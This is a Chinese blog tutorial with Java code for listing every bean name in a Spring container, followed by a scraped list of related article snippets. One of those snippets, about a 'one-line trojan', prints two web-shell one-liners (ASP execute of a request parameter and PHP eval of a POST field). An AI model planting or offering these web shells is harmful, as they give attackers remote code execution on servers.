获取并打印Spring容器中所有的Bean名称
思路:
1.实现Spring的ApplicationContextAware接口,重写setApplicationContext方法,将得到的ApplicationContext对象保存到一个静态变量中,有了这个上下文对象,就可以在项目的任意地方用它来得到任意Bean;
2.调用applicationContext.getBeanDefinitionNames()方法就可以拿到Spring容器中所有的Bean名称;这里为了测试方便就直接在InitializingBean 接口的afterPropertiesSet方法中打印所有Bean名称;启动Spring容器,观察控制台即可看到打印结果,打印Spring容器中所有bean在项目调试的时候很有用。
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.stereotype.Component; /**
* 打印Spring容器所有的Bean名称
*
* @author syj
*/
@Component
public class ApplicationContextBean implements ApplicationContextAware, InitializingBean { public static ApplicationContext applicationContext; /**
* 获取 ApplicationContext
*
* @param applicationContext
* @throws BeansException
*/
@Override
public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
ApplicationContextBean.applicationContext = applicationContext;
} /**
* 打印IOC容器中所有的Bean名称
*
* @throws Exception
*/
@Override
public void afterPropertiesSet() throws Exception {
String[] names = applicationContext.getBeanDefinitionNames();
for (String name : names) {
System.out.println(">>>>>>" + name);
}
System.out.println("------\nBean 总计:" + applicationContext.getBeanDefinitionCount());
}
}
还有一种更简单的方式,直接使用@Autowired注入ApplicationContext对象:
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController; import java.util.Arrays;
import java.util.List; @RestController
@RequestMapping
public class BeanController { @Autowired
private ApplicationContext applicationContext; @GetMapping("/beanList")
public List<String> beanList() {
return Arrays.asList(applicationContext.getBeanDefinitionNames());
}
}
获取并打印Spring容器中所有的Bean名称的更多相关文章
- [十]SpringBoot 之 普通类获取Spring容器中的bean
我们知道如果我们要在一个类使用spring提供的bean对象,我们需要把这个类注入到spring容器中,交给spring容器进行管理,但是在实际当中,我们往往会碰到在一个普通的Java类中,想直接使用 ...
- java web中如何获取spring容器中定义的bean----WebApplicationContext的使用
本文简单编写一个servlet来获取spring容器中管理的<bean id="dateBean" class="java.util.Date" sin ...
- SpringBoot 之 普通类获取Spring容器中的bean
[十]SpringBoot 之 普通类获取Spring容器中的bean 我们知道如果我们要在一个类使用spring提供的bean对象,我们需要把这个类注入到spring容器中,交给spring容器 ...
- 7 -- Spring的基本用法 -- 8... 抽象Bean与子Bean;Bean继承与Java继承的区别;容器中的工厂Bean;获得Bean本身的id;强制初始化Bean
7.8 深入理解容器中的Bean 7.8.1 抽象Bean与子Bean 把多个<bean.../>配置中相同的信息提取出来,集中成配置模版------这个配置模版并不是真正的Bean,因此 ...
- Servlet自动注入Spring容器中的Bean解决方法
很多情况在进行Web开发的时候需要自己手写Servlet来完成某些功能,而servlet有需要注入Spring容器中的某些bean,这是每次都要手动获取比较麻烦,这里有一个解决方案,只需要写一个ser ...
- 7 -- Spring的基本用法 -- 4... 使用 Spring 容器:Spring 容器BeanFactory、ApplicationContext;ApplicationContext 的国际化支持;ApplicationContext 的事件机制;让Bean获取Spring容器;Spring容器中的Bean
7.4 使用 Spring 容器 Spring 有两个核心接口:BeanFactory 和 ApplicationContext,其中ApplicationContext 是 BeanFactory ...
- 从Spring容器中获取Bean。ApplicationContextAware
引言:我们从几个方面有逻辑的讲述如何从Spring容器中获取Bean.(新手勿喷) 1.我们的目的是什么? 2.方法是什么(可变的细节)? 3.方法的原理是什么(不变的本质)? 1.我们的目的是什么? ...
- 获取Spring容器中的Bean
摘要 SpringMVC框架开发中可能会在Filter或Servlet中用到spring容器中注册的java bean 对象,获得容器中的java bean对象有如下方法 Spring中的Applic ...
- java 从spring容器中获取注入的bean对象
java 从spring容器中获取注入的bean对象 CreateTime--2018年6月1日10点22分 Author:Marydon 1.使用场景 控制层调用业务层时,控制层需要拿到业务层在 ...
随机推荐
- 一篇别人写的Kmp算法的讲解,多看多得
kmp算法的理解与实现 博客分类: algorithms 算法 KMP算法曾被我戏称为看毛片算法,当时笑喷......大三那个时候硬着头皮把算法导论的kmp算法啃完,弄懂了kmp算法 的原理 ...
- 简单的一句话木马(asp aspx php)
一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...
- Spring -12 -声明式事务及完整的XML配置文件信息 -声明式事务中的相关属性(tx:advice的标签)
1.编程式事务: 1.1由程序员编程事务控制代码. 1.2OpenSessionInView 就属于编程式事务: session.commit()和rollback() 2.声明式事务: 2.1事务控 ...
- try catch 场景
面试官:什么情况下用到try-catch?程序员:代码执行预料不到的情况,我会使用try-catch.面试官:什么是预料不到的情况呢?程序员:比如我要计算a除以b,但是b是变量,如果b等于0程序就会出 ...
- spring mvc 坑之PUT,DELETE方法接收不到请求参数
https://www.cnblogs.com/roobtyan/p/9576685.html 原因: Tomcat处理参数的问题: 1.将请求体中的数据,封装成一个map 2.request. ...
- Mysql 查询阻塞和事物情况
MYSQL 服务器逻辑架构图 连接/线程处理 == > (解析器 –> 查询缓存) ===> 优化器 ===> 存储引擎 服务器级别锁MYSQL 使用的锁类型:表锁(显式:LO ...
- RookeyFrame 线上 添加Model
线上添加好了模块,会在本地生成几个文件 类文件:Rookey.Frame.Web\Config\TempModel\Order_File.code DLL文件:Rookey.Frame.Web\bin ...
- Ubuntu安装php7.0环境
1.下载必须组件 sudo apt-get install libxml2-dev sudo apt-get install curl 参考文献:http://php.net/manual/zh/in ...
- AtCoder Grand Contest 021题解
传送门 \(A\) 咕咕 ll n,res;bool fl; int main(){ scanf("%lld",&n),fl=1; while(n>9)res+=9, ...
- #C++初学记录(判断子串#数学结合)
A Count Task Problem Description Count is one of WNJXYK's favorite tasks. Recently, he had a very lo ...